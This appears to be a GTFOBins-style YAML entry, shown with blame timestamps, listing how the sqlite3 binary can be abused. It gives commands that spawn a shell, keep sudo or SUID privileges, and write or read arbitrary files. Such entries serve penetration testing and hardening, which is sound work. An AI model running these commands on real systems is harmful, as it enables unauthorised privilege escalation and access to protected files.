2018-06-04 12:21:53 +02:00
|
|
|
---
|
|
|
|
functions:
|
2018-06-04 17:16:57 +02:00
|
|
|
execute-interactive:
|
|
|
|
- code: sqlite3 /dev/null '.shell /bin/sh'
|
2018-06-04 12:21:53 +02:00
|
|
|
sudo-enabled:
|
2018-06-04 17:16:57 +02:00
|
|
|
- code: sudo sqlite3 /dev/null '.shell /bin/sh'
|
|
|
|
suid-limited:
|
|
|
|
- code: ./sqlite3 /dev/null '.shell /bin/sh'
|
|
|
|
file-write:
|
2018-06-04 12:21:53 +02:00
|
|
|
- code: |
|
2018-06-04 17:16:57 +02:00
|
|
|
LFILE=file_to_write
|
|
|
|
sqlite3 /dev/null -cmd ".output $LFILE" 'select "data";'
|
2018-06-04 12:21:53 +02:00
|
|
|
file-read:
|
|
|
|
- code: |
|
|
|
|
LFILE=file_to_read
|
|
|
|
sqlite3 << EOF
|
|
|
|
CREATE TABLE t(line TEXT);
|
|
|
|
.import $LFILE t
|
|
|
|
SELECT * FROM t;
|
|
|
|
EOF
|
|
|
|
---
|